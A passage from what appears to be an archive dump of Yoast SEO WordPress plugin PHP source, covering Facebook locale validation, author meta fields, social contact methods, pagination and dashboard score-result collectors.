			'fb_LT', // Leet Speak.
			'ff_NG', // Fulah.
			'fi_FI', // Finnish.
			'fo_FO', // Faroese.
			'fr_CA', // French (Canada).
			'fr_FR', // French (France).
			'fy_NL', // Frisian.
			'ga_IE', // Irish.
			'gl_ES', // Galician.
			'gn_PY', // Guarani.
			'gu_IN', // Gujarati.
			'gx_GR', // Classical Greek.
			'ha_NG', // Hausa.
			'he_IL', // Hebrew.
			'hi_IN', // Hindi.
			'hr_HR', // Croatian.
			'hu_HU', // Hungarian.
			'ht_HT', // Haitian Creole.
			'hy_AM', // Armenian.
			'id_ID', // Indonesian.
			'ig_NG', // Igbo.
			'is_IS', // Icelandic.
			'it_IT', // Italian.
			'ik_US',
			'iu_CA',
			'ja_JP', // Japanese.
			'ja_KS', // Japanese (Kansai).
			'jv_ID', // Javanese.
			'ka_GE', // Georgian.
			'kk_KZ', // Kazakh.
			'km_KH', // Khmer.
			'kn_IN', // Kannada.
			'ko_KR', // Korean.
			'ks_IN', // Kashmiri.
			'ku_TR', // Kurdish (Kurmanji).
			'ky_KG', // Kyrgyz.
			'la_VA', // Latin.
			'lg_UG', // Ganda.
			'li_NL', // Limburgish.
			'ln_CD', // Lingala.
			'lo_LA', // Lao.
			'lt_LT', // Lithuanian.
			'lv_LV', // Latvian.
			'mg_MG', // Malagasy.
			'mi_NZ', // Maori.
			'mk_MK', // Macedonian.
			'ml_IN', // Malayalam.
			'mn_MN', // Mongolian.
			'mr_IN', // Marathi.
			'ms_MY', // Malay.
			'mt_MT', // Maltese.
			'my_MM', // Burmese.
			'nb_NO', // Norwegian (bokmal).
			'nd_ZW', // Ndebele.
			'ne_NP', // Nepali.
			'nl_BE', // Dutch (Belgie).
			'nl_NL', // Dutch.
			'nn_NO', // Norwegian (nynorsk).
			'nr_ZA', // Southern Ndebele.
			'ns_ZA', // Northern Sotho.
			'ny_MW', // Chewa.
			'om_ET', // Oromo.
			'or_IN', // Oriya.
			'pa_IN', // Punjabi.
			'pl_PL', // Polish.
			'ps_AF', // Pashto.
			'pt_BR', // Portuguese (Brazil).
			'pt_PT', // Portuguese (Portugal).
			'qc_GT', // Quiché.
			'qu_PE', // Quechua.
			'qr_GR',
			'qz_MM', // Burmese (Zawgyi).
			'rm_CH', // Romansh.
			'ro_RO', // Romanian.
			'ru_RU', // Russian.
			'rw_RW', // Kinyarwanda.
			'sa_IN', // Sanskrit.
			'sc_IT', // Sardinian.
			'se_NO', // Northern Sami.
			'si_LK', // Sinhala.
			'su_ID', // Sundanese.
			'sk_SK', // Slovak.
			'sl_SI', // Slovenian.
			'sn_ZW', // Shona.
			'so_SO', // Somali.
			'sq_AL', // Albanian.
			'sr_RS', // Serbian.
			'ss_SZ', // Swazi.
			'st_ZA', // Southern Sotho.
			'sv_SE', // Swedish.
			'sw_KE', // Swahili.
			'sy_SY', // Syriac.
			'sz_PL', // Silesian.
			'ta_IN', // Tamil.
			'te_IN', // Telugu.
			'tg_TJ', // Tajik.
			'th_TH', // Thai.
			'tk_TM', // Turkmen.
			'tl_PH', // Filipino.
			'tl_ST', // Klingon.
			'tn_BW', // Tswana.
			'tr_TR', // Turkish.
			'ts_ZA', // Tsonga.
			'tt_RU', // Tatar.
			'tz_MA', // Tamazight.
			'uk_UA', // Ukrainian.
			'ur_PK', // Urdu.
			'uz_UZ', // Uzbek.
			've_ZA', // Venda.
			'vi_VN', // Vietnamese.
			'wo_SN', // Wolof.
			'xh_ZA', // Xhosa.
			'yi_DE', // Yiddish.
			'yo_NG', // Yoruba.
			'zh_CN', // Simplified Chinese (China).
			'zh_HK', // Traditional Chinese (Hong Kong).
			'zh_TW', // Traditional Chinese (Taiwan).
			'zu_ZA', // Zulu.
			'zz_TR', // Zazaki.
		];

		// Check to see if the locale is a valid FB one, if not, use en_US as a fallback.
		if ( \in_array( $locale, $fb_valid_fb_locales, true ) ) {
			return $locale;
		}

		$locale = \strtolower( \substr( $locale, 0, 2 ) ) . '_' . \strtoupper( \substr( $locale, 0, 2 ) );
		if ( ! \in_array( $locale, $fb_valid_fb_locales, true ) ) {
			return 'en_US';
		}

		return $locale;
	}
}
loadable-interface.php000066600000000436152204306270010766 0ustar00<?php

namespace Yoast\WP\SEO;

/**
 * An interface for registering integrations with WordPress
 */
interface Loadable_Interface {

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals();
}
user-meta/framework/custom-meta/noindex-author.php000066600000005155152204306270016371 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Custom_Meta;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\User_Meta\Domain\Custom_Meta_Interface;

/**
 * The Noindex_Author custom meta.
 */
class Noindex_Author implements Custom_Meta_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the priority which the custom meta's form field should be rendered with.
	 *
	 * @return int The priority which the custom meta's form field should be rendered with.
	 */
	public function get_render_priority(): int {
		return 300;
	}

	/**
	 * Returns the db key of the Noindex_Author custom meta.
	 *
	 * @return string The db key of the Noindex_Author custom meta.
	 */
	public function get_key(): string {
		return 'wpseo_noindex_author';
	}

	/**
	 * Returns the id of the custom meta's form field.
	 *
	 * @return string The id of the custom meta's form field.
	 */
	public function get_field_id(): string {
		return 'wpseo_noindex_author';
	}

	/**
	 * Returns the meta value.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return string The meta value.
	 */
	public function get_value( $user_id ): string {
		return \get_the_author_meta( $this->get_key(), $user_id );
	}

	/**
	 * Returns whether the respective global setting is enabled.
	 *
	 * @return bool Whether the respective global setting is enabled.
	 */
	public function is_setting_enabled(): bool {
		return ( ! $this->options_helper->get( 'disable-author' ) );
	}

	/**
	 * Returns whether the custom meta is allowed to be empty.
	 *
	 * @return bool Whether the custom meta is allowed to be empty.
	 */
	public function is_empty_allowed(): bool {
		return false;
	}

	/**
	 * Renders the custom meta's field in the user form.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function render_field( $user_id ): void {
		echo '

		<input
			class="yoast-settings__checkbox double"
			type="checkbox"
			id="' . \esc_attr( $this->get_field_id() ) . '"
			name="' . \esc_attr( $this->get_field_id() ) . '"
			value="on" '
			. \checked( $this->get_value( $user_id ), 'on', false )
		. '/>';

		echo '

		<label class="yoast-label-strong" for="' . \esc_attr( $this->get_field_id() ) . '">'
			. \esc_html__( 'Do not allow search engines to show this author\'s archives in search results.', 'wordpress-seo' )
		. '</label><br>';
	}
}
user-meta/framework/custom-meta/author-metadesc.php000066600000005100152204306270016500 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Custom_Meta;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\User_Meta\Domain\Custom_Meta_Interface;

/**
 * The Author_Metadesc custom meta.
 */
class Author_Metadesc implements Custom_Meta_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the priority which the custom meta's form field should be rendered with.
	 *
	 * @return int The priority which the custom meta's form field should be rendered with.
	 */
	public function get_render_priority(): int {
		return 200;
	}

	/**
	 * Returns the db key of the Author_Metadesc custom meta.
	 *
	 * @return string The db key of the Author_Metadesc custom meta.
	 */
	public function get_key(): string {
		return 'wpseo_metadesc';
	}

	/**
	 * Returns the id of the custom meta's form field.
	 *
	 * @return string The id of the custom meta's form field.
	 */
	public function get_field_id(): string {
		return 'wpseo_author_metadesc';
	}

	/**
	 * Returns the meta value.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return string The meta value.
	 */
	public function get_value( $user_id ): string {
		return \get_the_author_meta( $this->get_key(), $user_id );
	}

	/**
	 * Returns whether the respective global setting is enabled.
	 *
	 * @return bool Whether the respective global setting is enabled.
	 */
	public function is_setting_enabled(): bool {
		return ( ! $this->options_helper->get( 'disable-author' ) );
	}

	/**
	 * Returns whether the custom meta is allowed to be empty.
	 *
	 * @return bool Whether the custom meta is allowed to be empty.
	 */
	public function is_empty_allowed(): bool {
		return true;
	}

	/**
	 * Renders the custom meta's field in the user form.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function render_field( $user_id ): void {
		echo '

		<label for="' . \esc_attr( $this->get_field_id() ) . '">'
			. \esc_html__( 'Meta description to use for Author page', 'wordpress-seo' )
		. '</label>';

		echo '

		<textarea
			rows="5"
			cols="30"
			id="' . \esc_attr( $this->get_field_id() ) . '"
			class="yoast-settings__textarea yoast-settings__textarea--medium"
			name="' . \esc_attr( $this->get_field_id() ) . '">'
				. \esc_textarea( $this->get_value( $user_id ) )
		. '</textarea><br>';
	}
}
user-meta/framework/custom-meta/author-title.php000066600000004765152204306270016054 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Custom_Meta;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\User_Meta\Domain\Custom_Meta_Interface;

/**
 * The Author_Title custom meta.
 */
class Author_Title implements Custom_Meta_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the priority which the custom meta's form field should be rendered with.
	 *
	 * @return int The priority which the custom meta's form field should be rendered with.
	 */
	public function get_render_priority(): int {
		return 100;
	}

	/**
	 * Returns the db key of the Author_Title custom meta.
	 *
	 * @return string The db key of the Author_Title custom meta.
	 */
	public function get_key(): string {
		return 'wpseo_title';
	}

	/**
	 * Returns the id of the custom meta's form field.
	 *
	 * @return string The id of the custom meta's form field.
	 */
	public function get_field_id(): string {
		return 'wpseo_author_title';
	}

	/**
	 * Returns the meta value.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return string The meta value.
	 */
	public function get_value( $user_id ): string {
		return \get_the_author_meta( $this->get_key(), $user_id );
	}

	/**
	 * Returns whether the respective global setting is enabled.
	 *
	 * @return bool Whether the respective global setting is enabled.
	 */
	public function is_setting_enabled(): bool {
		return ( ! $this->options_helper->get( 'disable-author' ) );
	}

	/**
	 * Returns whether the custom meta is allowed to be empty.
	 *
	 * @return bool Whether the custom meta is allowed to be empty.
	 */
	public function is_empty_allowed(): bool {
		return true;
	}

	/**
	 * Renders the custom meta's field in the user form.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function render_field( $user_id ): void {
		echo '

		<label for="' . \esc_attr( $this->get_field_id() ) . '">'
			. \esc_html__( 'Title to use for Author page', 'wordpress-seo' )
		. '</label>';

		echo '

		<input
			class="yoast-settings__text regular-text"
			type="text" id="' . \esc_attr( $this->get_field_id() ) . '"
			name="' . \esc_attr( $this->get_field_id() ) . '"
			value="' . \esc_attr( $this->get_value( $user_id ) )
		. '"/><br>';
	}
}
user-meta/framework/additional-contactmethods/linkedin.php000066600000001310152204306270020076 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Linkedin contactmethod.
 */
class Linkedin implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the Linkedin contactmethod.
	 *
	 * @return string The key of the Linkedin contactmethod.
	 */
	public function get_key(): string {
		return 'linkedin';
	}

	/**
	 * Returns the label of the Linkedin field.
	 *
	 * @return string The label of the Linkedin field.
	 */
	public function get_label(): string {
		return \__( 'LinkedIn profile URL', 'wordpress-seo' );
	}
}
user-meta/framework/additional-contactmethods/instagram.php000066600000001320152204306270020267 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Instagram contactmethod.
 */
class Instagram implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the Instagram contactmethod.
	 *
	 * @return string The key of the Instagram contactmethod.
	 */
	public function get_key(): string {
		return 'instagram';
	}

	/**
	 * Returns the label of the Instagram field.
	 *
	 * @return string The label of the Instagram field.
	 */
	public function get_label(): string {
		return \__( 'Instagram profile URL', 'wordpress-seo' );
	}
}
user-meta/framework/additional-contactmethods/pinterest.php000066600000001320152204306270020317 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Pinterest contactmethod.
 */
class Pinterest implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the Pinterest contactmethod.
	 *
	 * @return string The key of the Pinterest contactmethod.
	 */
	public function get_key(): string {
		return 'pinterest';
	}

	/**
	 * Returns the label of the Pinterest field.
	 *
	 * @return string The label of the Pinterest field.
	 */
	public function get_label(): string {
		return \__( 'Pinterest profile URL', 'wordpress-seo' );
	}
}
user-meta/framework/additional-contactmethods/soundcloud.php000066600000001330152204306270020462 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Soundcloud contactmethod.
 */
class Soundcloud implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the SoundCloud contactmethod.
	 *
	 * @return string The key of the SoundCloud contactmethod.
	 */
	public function get_key(): string {
		return 'soundcloud';
	}

	/**
	 * Returns the label of the SoundCloud field.
	 *
	 * @return string The label of the SoundCloud field.
	 */
	public function get_label(): string {
		return \__( 'SoundCloud profile URL', 'wordpress-seo' );
	}
}
user-meta/framework/additional-contactmethods/wikipedia.php000066600000001435152204306270020257 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Wikipedia contactmethod.
 */
class Wikipedia implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the Wikipedia contactmethod.
	 *
	 * @return string The key of the Wikipedia contactmethod.
	 */
	public function get_key(): string {
		return 'wikipedia';
	}

	/**
	 * Returns the label of the Wikipedia field.
	 *
	 * @return string The label of the Wikipedia field.
	 */
	public function get_label(): string {
		return \__( 'Wikipedia page about you', 'wordpress-seo' ) . '<br/><small>' . \__( '(if one exists)', 'wordpress-seo' ) . '</small>';
	}
}
user-meta/framework/additional-contactmethods/facebook.php000066600000001310152204306270020052 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Facebook contactmethod.
 */
class Facebook implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the Facebook contactmethod.
	 *
	 * @return string The key of the Facebook contactmethod.
	 */
	public function get_key(): string {
		return 'facebook';
	}

	/**
	 * Returns the label of the Facebook field.
	 *
	 * @return string The label of the Facebook field.
	 */
	public function get_label(): string {
		return \__( 'Facebook profile URL', 'wordpress-seo' );
	}
}
user-meta/domain/custom-meta-interface.php000066600000002163152204306270014631 0ustar00<?php

namespace Yoast\WP\SEO\User_Meta\Domain;

/**
 * This interface describes a custom meta.
 */
interface Custom_Meta_Interface {

	/**
	 * Returns the priority which the custom meta's form field should be rendered with.
	 *
	 * @return int.
	 */
	public function get_render_priority(): int;

	/**
	 * Returns the db key of the custom meta.
	 *
	 * @return string
	 */
	public function get_key(): string;

	/**
	 * Returns the id of the custom meta's form field.
	 *
	 * @return string
	 */
	public function get_field_id(): string;

	/**
	 * Returns the meta value.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return string
	 */
	public function get_value( $user_id ): string;

	/**
	 * Returns whether the respective global setting is enabled.
	 *
	 * @return bool
	 */
	public function is_setting_enabled(): bool;

	/**
	 * Returns whether the custom meta is allowed to be empty.
	 *
	 * @return bool
	 */
	public function is_empty_allowed(): bool;

	/**
	 * Renders the custom meta's field in the user form.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function render_field( $user_id ): void;
}
presentations/archive-adjacent-trait.php000066600000003235152204306270014474 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

use Yoast\WP\SEO\Helpers\Pagination_Helper;
use Yoast\WP\SEO\Models\Indexable;

/**
 * Class Archive_Adjacent.
 *
 * Presentation object for indexables.
 *
 * @property Indexable $model The indexable.
 */
trait Archive_Adjacent {

	/**
	 * Holds the Pagination_Helper instance.
	 *
	 * @var Pagination_Helper
	 */
	protected $pagination;

	/**
	 * Sets the helpers for the trait.
	 *
	 * @required
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Pagination_Helper $pagination The pagination helper.
	 *
	 * @return void
	 */
	public function set_archive_adjacent_helpers( Pagination_Helper $pagination ) {
		$this->pagination = $pagination;
	}

	/**
	 * Generates the rel prev.
	 *
	 * @return string
	 */
	public function generate_rel_prev() {
		if ( $this->pagination->is_rel_adjacent_disabled() ) {
			return '';
		}

		$current_page = \max( 1, $this->pagination->get_current_archive_page_number() );
		// Check if there is a previous page.
		if ( $current_page === 1 ) {
			return '';
		}
		// Check if the previous page is the first page.
		if ( $current_page === 2 ) {
			return $this->permalink;
		}

		return $this->pagination->get_paginated_url( $this->permalink, ( $current_page - 1 ) );
	}

	/**
	 * Generates the rel next.
	 *
	 * @return string
	 */
	public function generate_rel_next() {
		if ( $this->pagination->is_rel_adjacent_disabled() ) {
			return '';
		}

		$current_page = \max( 1, $this->pagination->get_current_archive_page_number() );
		if ( $this->pagination->get_number_of_archive_pages() <= $current_page ) {
			return '';
		}

		return $this->pagination->get_paginated_url( $this->permalink, ( $current_page + 1 ) );
	}
}
dashboard/infrastructure/nonces/nonce-repository.php000066600000000607152204306270017100 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Nonces;

/**
 * Repository for WP nonces.
 */
class Nonce_Repository {

	/**
	 * Creates the nonce for a WP REST request.
	 *
	 * @return string
	 */
	public function get_rest_nonce(): string {
		return \wp_create_nonce( 'wp_rest' );
	}
}
dashboard/infrastructure/browser-cache/browser-cache-configuration.php000066600000004301152204306270022404 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Browser_Cache;

use Yoast\WP\SEO\Conditionals\Google_Site_Kit_Feature_Conditional;
/**
 * Responsible for the browser cache configuration.
 */
class Browser_Cache_Configuration {

	/**
	 * The Site Kit conditional.
	 *
	 * @var Google_Site_Kit_Feature_Conditional
	 */
	private $google_site_kit_feature_conditional;

	/**
	 * The constructor.
	 *
	 * @param Google_Site_Kit_Feature_Conditional $google_site_kit_feature_conditional The Site Kit conditional.
	 */
	public function __construct( Google_Site_Kit_Feature_Conditional $google_site_kit_feature_conditional ) {
		$this->google_site_kit_feature_conditional = $google_site_kit_feature_conditional;
	}

	/**
	 * Gets the Time To Live for each widget's cache.
	 *
	 * @return array<string, array<string, int>> The cache TTL for each widget.
	 */
	private function get_widgets_cache_ttl() {
		return [
			'topPages' => [
				'ttl'  => ( 1 * \MINUTE_IN_SECONDS ),
			],
			'topQueries' => [
				'ttl'  => ( 1 * \HOUR_IN_SECONDS ),
			],
			'searchRankingCompare' => [
				'ttl'  => ( 1 * \HOUR_IN_SECONDS ),
			],
			'organicSessions' => [
				'ttl'  => ( 1 * \HOUR_IN_SECONDS ),
			],
		];
	}

	/**
	 * Gets the prefix for the client side cache key.
	 *
	 * Cache key is scoped to user session and blog_id to isolate the
	 * cache between users and sites (in multisite).
	 *
	 * @return string
	 */
	private function get_storage_prefix() {
		$current_user  = \wp_get_current_user();
		$auth_cookie   = \wp_parse_auth_cookie();
		$blog_id       = \get_current_blog_id();
		$session_token = isset( $auth_cookie['token'] ) ? $auth_cookie['token'] : '';

		return \wp_hash( $current_user->user_login . '|' . $session_token . '|' . $blog_id );
	}

	/**
	 * Returns the browser cache configuration.
	 *
	 * @return array<string, string|array<string, array<string, int>>>
	 */
	public function get_configuration(): array {
		if ( ! $this->google_site_kit_feature_conditional->is_met() ) {
			return [];
		}

		return [
			'storagePrefix'   => $this->get_storage_prefix(),
			'yoastVersion'    => \WPSEO_VERSION,
			'widgetsCacheTtl' => $this->get_widgets_cache_ttl(),
		];
	}
}
infrastructure/score-results/readability-score-results/readability-score-results-collector.php000066600000013205152204306270031213 0ustar00dashboard<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Readability_Score_Results;

use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\Readability_Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Score_Results\Score_Results_Not_Found_Exception;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Score_Results_Collector_Interface;

/**
 * Getting readability score results from the indexable database table.
 */
class Readability_Score_Results_Collector implements Score_Results_Collector_Interface {

	/**
	 * Retrieves readability score results for a content type.
	 *
	 * @param Readability_Score_Groups_Interface[] $readability_score_groups All readability score groups.
	 * @param Content_Type                         $content_type             The content type.
	 * @param int|null                             $term_id                  The ID of the term we're filtering for.
	 * @param bool|null                            $is_troubleshooting       Whether we're in troubleshooting mode.
	 *
	 * @return array<string, object|bool|float> The readability score results for a content type.
	 *
	 * @throws Score_Results_Not_Found_Exception When the query of getting score results fails.
	 */
	public function get_score_results( array $readability_score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting ) {
		global $wpdb;
		$results = [];

		$content_type_name = $content_type->get_name();
		$select            = $this->build_select( $readability_score_groups, $is_troubleshooting );

		$replacements = \array_merge(
			\array_values( $select['replacements'] ),
			[
				Model::get_table_name( 'Indexable' ),
				$content_type_name,
			]
		);

		if ( $term_id === null ) {
			//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
			//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
			$query = $wpdb->prepare(
				"
				SELECT {$select['fields']}
				FROM %i AS I
				WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
					AND I.object_type = 'post'
					AND I.object_sub_type = %s",
				$replacements
			);
			//phpcs:enable
		}
		else {
			$replacements[] = $wpdb->term_relationships;
			$replacements[] = $term_id;

			//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
			//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
			$query = $wpdb->prepare(
				"
				SELECT {$select['fields']}
				FROM %i AS I
				WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
					AND I.object_type = 'post'
					AND I.object_sub_type = %s
					AND I.object_id IN (
						SELECT object_id
						FROM %i
						WHERE term_taxonomy_id = %d
				)",
				$replacements
			);
			//phpcs:enable
		}

		$start_time = \microtime( true );

		//phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- $query is prepared above.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		$current_scores = $wpdb->get_row( $query );
		//phpcs:enable

		if ( $current_scores === null ) {
			throw new Score_Results_Not_Found_Exception();
		}

		$end_time = \microtime( true );

		$results['scores']     = $current_scores;
		$results['query_time'] = ( $end_time - $start_time );
		return $results;
	}

	/**
	 * Builds the select statement for the readability scores query.
	 *
	 * @param Readability_Score_Groups_Interface[] $readability_score_groups All readability score groups.
	 * @param bool|null                            $is_troubleshooting       Whether we're in troubleshooting mode.
	 *
	 * @return array<string, string> The select statement for the readability scores query.
	 */
	private function build_select( array $readability_score_groups, ?bool $is_troubleshooting ): array {
		$select_fields       = [];
		$select_replacements = [];

		// When we don't troubleshoot, we're interested in the amount of posts in a group, when we troubleshoot we want to gather the actual IDs.
		$select_operation = ( $is_troubleshooting === true ) ? 'GROUP_CONCAT' : 'COUNT';
		$selected_info    = ( $is_troubleshooting === true ) ? 'I.object_id' : '1';

		foreach ( $readability_score_groups as $readability_score_group ) {
			$min  = $readability_score_group->get_min_score();
			$max  = $readability_score_group->get_max_score();
			$name = $readability_score_group->get_name();

			if ( $min === null && $max === null ) {
				$select_fields[]       = "{$select_operation}(CASE WHEN I.readability_score = 0 AND I.estimated_reading_time_minutes IS NULL THEN {$selected_info} END) AS %i";
				$select_replacements[] = $name;
			}
			else {
				$needs_ert             = ( $min === 1 ) ? ' OR (I.readability_score = 0 AND I.estimated_reading_time_minutes IS NOT NULL)' : '';
				$select_fields[]       = "{$select_operation}(CASE WHEN ( I.readability_score >= %d AND I.readability_score <= %d ){$needs_ert} THEN {$selected_info} END) AS %i";
				$select_replacements[] = $min;
				$select_replacements[] = $max;
				$select_replacements[] = $name;
			}
		}

		$select_fields = \implode( ', ', $select_fields );

		return [
			'fields'       => $select_fields,
			'replacements' => $select_replacements,
		];
	}
}
dashboard/infrastructure/score-results/seo-score-results/cached-seo-score-results-collector.php000066600000005511152204306270027272 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\SEO_Score_Results;

use WPSEO_Utils;
use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\SEO_Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Score_Results\Score_Results_Not_Found_Exception;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Score_Results_Collector_Interface;

/**
 * The caching decorator to get readability score results.
 */
class Cached_SEO_Score_Results_Collector implements Score_Results_Collector_Interface {

	public const SEO_SCORES_TRANSIENT = 'wpseo_seo_scores';

	/**
	 * The actual collector implementation.
	 *
	 * @var SEO_Score_Results_Collector
	 */
	private $seo_score_results_collector;

	/**
	 * The constructor.
	 *
	 * @param SEO_Score_Results_Collector $seo_score_results_collector The collector implementation to use.
	 */
	public function __construct( SEO_Score_Results_Collector $seo_score_results_collector ) {
		$this->seo_score_results_collector = $seo_score_results_collector;
	}

	/**
	 * Retrieves the SEO score results for a content type.
	 * Based on caching returns either the result or gets it from the collector.
	 *
	 * @param SEO_Score_Groups_Interface[] $score_groups       All SEO score groups.
	 * @param Content_Type                 $content_type       The content type.
	 * @param int|null                     $term_id            The ID of the term we're filtering for.
	 * @param bool|null                    $is_troubleshooting Whether we're in troubleshooting mode.
	 *
	 * @return array<string, object|bool|float> The SEO score results for a content type.
	 *
	 * @throws Score_Results_Not_Found_Exception When the query of getting score results fails.
	 */
	public function get_score_results(
		array $score_groups,
		Content_Type $content_type,
		?int $term_id,
		?bool $is_troubleshooting
	) {
		$content_type_name = $content_type->get_name();
		$transient_name    = self::SEO_SCORES_TRANSIENT . '_' . $content_type_name . ( ( $term_id === null ) ? '' : '_' . $term_id );
		$results           = [];
		$transient         = \get_transient( $transient_name );
		if ( $is_troubleshooting !== true && $transient !== false ) {
			$results['scores']     = \json_decode( $transient, false );
			$results['cache_used'] = true;
			$results['query_time'] = 0;

			return $results;
		}

		$results               = $this->seo_score_results_collector->get_score_results( $score_groups, $content_type, $term_id, $is_troubleshooting );
		$results['cache_used'] = false;
		if ( $is_troubleshooting !== true ) {
			\set_transient( $transient_name, WPSEO_Utils::format_json_encode( $results['scores'] ), \MINUTE_IN_SECONDS );
		}
		return $results;
	}
}
dashboard/infrastructure/score-results/seo-score-results/seo-score-results-collector.php000066600000012666152204306270026076 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\SEO_Score_Results;

use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\SEO_Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Score_Results\Score_Results_Not_Found_Exception;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Score_Results_Collector_Interface;

/**
 * Getting SEO score results from the indexable database table.
 */
class SEO_Score_Results_Collector implements Score_Results_Collector_Interface {

	/**
	 * Retrieves the SEO score results for a content type.
	 *
	 * @param SEO_Score_Groups_Interface[] $seo_score_groups   All SEO score groups.
